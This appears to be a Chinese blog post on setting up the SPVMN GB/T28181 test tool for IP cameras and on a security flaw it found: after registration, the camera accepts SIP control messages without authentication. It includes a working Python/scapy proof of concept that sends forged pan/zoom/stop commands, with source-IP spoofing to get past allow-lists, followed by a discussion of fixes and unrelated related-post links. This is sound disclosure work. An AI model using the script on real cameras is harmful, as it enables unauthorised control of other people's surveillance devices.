一、说明

这几天都在做设备的协议分析,然后看到有个叫Spvmn的不懂要怎么操作才能触发其操作过程,问了测试部的同事说也没有测试文档,自己研究了一下这里做个记录。

按我现在理解,各厂商有自己的私有协议、ONVIF是世界标准协议、GB/T28181是国标;Onvif Test Tool是ONVIF协议实现的测试工具,而SPVMN是GB/T28181协议实现的测试工具。

二、环境搭建

IPC:首先需要一台支持GB/T28181(或者说有Spvmn配置)的IPC,这个是必然的。

Windows电脑:看spvmn里边的文档说只支持Windows,Linux没试过。

JDK1.5:我使用JDK1.8该问页面一直报错,换成1.5才能成功访问。下载地址点链接

报错:org.apache.jasper.JasperException: Unable to compile class for JSP

Spvmn工具下载地址:http://7dx.pc6.com/wwb5/SPVMN.zip

下载直接解压到自己想要的目录,该工具本质是一个tomcat,里边部署了一个用于测试的jsp应用。和正常tomcat一样到bin目录点击startup.bat启动即可。

不过要注意,该tomcat默认使用8080端口,然后又启了在5060开了一个监听,所以在启动前要注意确保本机的这两个端口没被占用。

tomcat启动完成后,访问后边的链接,如果一切正常页面应如下图:http://127.0.0.1:8080/SIPStandardDebug/

三、测试操作

3.1 配置IPC上线

使用Onvif Test Tool等工具,我们都是在Onvif Test Tool等工具输入IPC的用户名密码向IPC认证。但Spvmn反过来,是在IPC中输入Spvmn的“用户名密码”,IPC向Spvmn认证。

这认证逻辑存在问题,我们后边再说,这里主要是知道是这样子就可以了。

Spvmn的“用户名密码”,存放在"webapps\SIPStandardDebug\WEB-INF\classes\SSDConfig.properties"中,主要找到这两个节区的信息

找到这些信息后,打开IPC上的Spvmn配置页面,把这些信息复制填到Spvmn页面对应的框中,然后保存启动即可。(Sip服务器就是装Spvmn的那台电脑)

此时回到Spvmn页面,依次点调测辅助面---链路管理,如无意外在弹出页面中即可看到IPC成功上线。

3.2 测试操作

第一步,点击“调测设备类型”选好要进行调测的设备,我们这里是IPC

第二步,在下面的各种操作通过点击选中自己要测试的命令,比如我这里点“向左”

第三步,点选好命令后在左下窗格中即会呈现该命令将会发送的主体报文,点击“发送消息”按钮,该命令即会向IPC发出返回结果呈现在右下窗格中。

当然协议实现除了看有消息返回外,更主要的还是要看IPC是否真的执行了相应的动作。比如我们这里发了“向左”命令,IPC是否真的有向左旋转。

四、Spvmn有可能沦为后门

4.1 原因分析

使用wireshark拦截数据包观察交互过程如下图。

IPC向Spvmn发起注册(REGISTER)请求,Spvmn回复未认证(Unauthorized),IPC通过Digest形式提交用户名密码,Spvmn回复认证成功。而后就都是Spvmn向IPC发送各种命令操控IPC(MESSAGE)。

正如我们向服务器认证,后续请求都得带session向服务器表明身份而服务器什么都不需要带一样;ipc向spvmn认证,那么后续请求上都是ipc向spvmn携带认证信息,而spvmn不会向ipc携带认证信息。(实际看来只有在上线注册时ipc向spvmn带了用户名密码,之后双方就都没带会话信息)

既然不需要认证信息的话,那是不是说,只要IPC开启spvmn,我伪装成spvmn服务器向ipc发命令ipc都会执行。而经过实验发现事实也是如此,测试代码如下可自行使用自己环境进行测试。

from scapy.all import *

# 伪装成本地spvmn发包,这个其实没必要
local_ip = "10.10.6.91"
local_port = 5060
# 有些IPC限制只接收从spvmn页面配置的ip发来的命令,此时可以通过伪造IP绕过
cheat_ip = "10.10.6.92"
# 目标ipc ip和端口
# ipc_ip = "10.10.6.98"
ipc_ip = "10.20.23.150"
ipc_port = 5060
# 1--turn_left,2--zoom_out,3--zoom_out_use_scapy,4--stop
command_flag = 3 # 让IPC向左旋转命令
def turn_left():
# 建立发送socket,和正常UDP数据包没区别
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 其实不需要绑定端口
# send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: b73541b1e114a46ed90805e4da810973@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=86660128_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_18249986822757\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F01021F0000D6</PTZCmd>\r\n"""
"""</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 放大
def zoom_out():
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
"""</Control>"""
) send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 使用scapy伪造源IP地址
def zoom_out_use_scapy():
message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
"""</Control>"""
)
udp_packet = IP(src=cheat_ip, dst=ipc_ip) / UDP(dport=ipc_port) / message
send(udp_packet) # 让IPC停止所有动作命令
def stop():
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 其实不需要绑定端口
# send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 0b9ed3de1558c60bc7ec2efc0dbdb744@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=87210045_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_20090787679737\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0100000000B5</PTZCmd>\r\n"""
"""</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() if __name__ == "__main__":
if command_flag == 1:
turn_left()
elif command_flag == 2:
zoom_out()
elif command_flag == 3:
zoom_out_use_scapy()
else:
stop()

4.2 修复讨论

方法一:

我们能不能在IPC端设定,只处理来自自身配置好的Spvmn的ip发来的命令?

答案是不能完全解决。实际发现有些厂商就做了ip限制,但因为使用的是UDP协议,IP完全是可以伪造的。

方法二:

在4.1的代码的请求中我们可以看到有一些应该是spvmn服务器的一些信息,我们可不可以在IPC端通过提取这些信息与spvmn配置页面中的进行比对一致才进行处理?

这应该是可以解决spvmn伪造的问题,但还存在的问题就是倘若spvmn服务器信息泄漏,那么IPC也会被控制;或者说此时spvmn的用户名密码也扮演了IPC用户名密码的角色,这增大了IPC的攻击面。另外在spvmn功能就类似操作系统的telnetd和sshd,攻击者侵入web后配置好spvmn就得到了一个天然的后门程序。

方法三:

4.1中我们说spvmn把认证方向搞反了,其实如果spvmn使用的是tcp而不是udp不用调整认证方向也能达到和方案二一样的效果。因为如果使用tcp那就是ipc随便选一个端口与spvmn服务器进行连接,该端口是ESTABLISHED状态而不是LISTENING状态,你新建一个进程试图与该端口建立连接该端口是不予理会的;而倘若是udp没有建立连接过程只能是监听状态,伪造的数据它也无法区分。但如果使用这种方法进行修复就不符合协议标准了,只是提一下。

参考:

https://blog.csdn.net/hiwubihe/article/details/82910685

Spvmn测试环境搭建及其安全性讨论的更多相关文章

  1. gb28181的SPVMN测试环境搭建以及设备端和服务器的具体实现

    1.GB/T28181开发1之SPVMN(1.0.0.1)环境搭建 https://blog.csdn.net/hiwubihe/article/details/82910685 2.SPVMN 视频 ...

  2. https,https的本地测试环境搭建,asp.net结合https的代码实现,http网站转换成https网站之后遇到的问题

    一:什么是https SSL(Security   Socket   Layer)全称是加密套接字协议层,它位于HTTP协议层和TCP协议层之间,用于建立用户与服务器之间的加密通信,确保所传递信息的安 ...

  3. 【转】https,https的本地测试环境搭建,asp.net结合https的代码实现,http网站转换成https网站之后遇到的问题

    正需要这个,写的很好,就转过来了 转自: http://www.cnblogs.com/naniannayue/ 一:什么是https SSL(Security   Socket   Layer)全称 ...

  4. Linux测试环境搭建的学习建议

    随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux测试环境搭建的一些建议. 一.Linux测试环境搭建从基 ...

  5. 总结Selenium自动化测试方法(二)测试环境搭建

    (接上期内容) 二.测试环境搭建 1.安装python 现在python3.0比python2.0多了一些改进的功能(详见http://zhidao.baidu.com/link?url=3sT1g7 ...

  6. 【转2】Appium 1.6.3 在Xcode 8 (真机)测试环境搭建 经验总结

    Appium 1.6.3 在Xcode 8 (真机)测试环境搭建经验总结 关于 Appium 1.6.3 在Xcode 8, 1真机上环境搭建问题更多,写此文章,供大家参考,让大家少走弯路. 在开始i ...

  7. 【转1】Appium 1.6.3 在Xcode 8, iOS 10.2(模拟器)测试环境搭建 经验总结

    Appium 1.6.3 在Xcode 8, iOS 10.2(模拟器)测试环境搭建 经验总结 关于 Appium 1.6.3 在Xcode 8, 10.2 的iOS模拟器上的问题很多,本人也差点放弃 ...

  8. Android测试环境搭建

    Android测试环境搭建 一.操作系统 使用Win7_64位操作系统.(可以用其他的系统,下面都是针对Win7 64位进行操作) 二.安装JDK 运行jdk-6u45-windows-x64.exe ...

  9. USDT(omniCore)测试环境搭建

    一.测试环境搭建. 注:由于window版本的omni出现同步不了的问题,推荐使用linux系统进行usdt测试链的搭建. 1.下载omnicore: wget https://bintray.com ...

随机推荐

  1. ES6 Promise用法讲解

    所谓Promise,简单说就是一个容器,里面保存着某个未来才会结束的事件(通常是一个异步操作)的结果. ES6 规定,Promise对象是一个构造函数,用来生成Promise实例. 下面代码创造了一个 ...

  2. java微信公众号支付示例

    开始之前,先准备好:appid.商家号.商户密匙. 工具类: MD5Util.java package com.yiexpress.core.utils.wechat; import java.sec ...

  3. hdu2054 通过率低是有理由的

    这虽然是一道水题,但却巨坑,他题面上不说数据范围,也没有说数据类型,事实就是数据范围巨大,整型实型都有,所以必须用字符串去写,但是又涉及到小数,所以还要删除小数后面多余的0,比如1==1.0000,这 ...

  4. MyBatis笔记(二) 最简单的insert命令

    接上一篇随笔.这里没有用到MyBatis最关键的映射器接口,因此只做个简单的insert操作,update和delete同理,就不再赘述了. 直接上代码: 首先是dao包下的UserDAO.java文 ...

  5. lnmp 系统500 报错

    分析点: 1 文件目录权限不足 如果日志缓存目录没有写入权限 chmod -R 775 目录 2 lnmp 一键安装包 查看.user.ini ,其中open_basedir  不要设置到public ...

  6. golang rc4加密

    package main import "crypto/rc4" import "fmt" func main() { key := []byte(" ...

  7. java和js中int和String相互转换常用方法整理

    java中int和String的相互转换常用的几种方法: int  > String int i=10;String s="";第一种方法:s=i+""; ...

  8. mongodb常用查询语句

    1.查询所有记录db.userInfo.find();相当于:select* from userInfo; 2.查询去掉后的当前聚集集合中的某列的重复数据db.userInfo.distinct(&q ...

  9. [524.A]2019-05-02(星期四)登顶梧桐山邀请

    *** 看房活动召集 ***五一期间天气炎热, 除了登山活动, 还将组织看房活动.拥有一套自己的住房是很多深圳人的梦想.政府十三五期间计划供应人才住房和保障性住房35万套, 与需求相比仍很少, 排队的 ...

  10. java 随机出题四则运算

    作业要求来源于:https://edu.cnblogs.com/campus/gzcc/GZCC-16SE2/homework/2186 我的github地址:https://github.com/k ...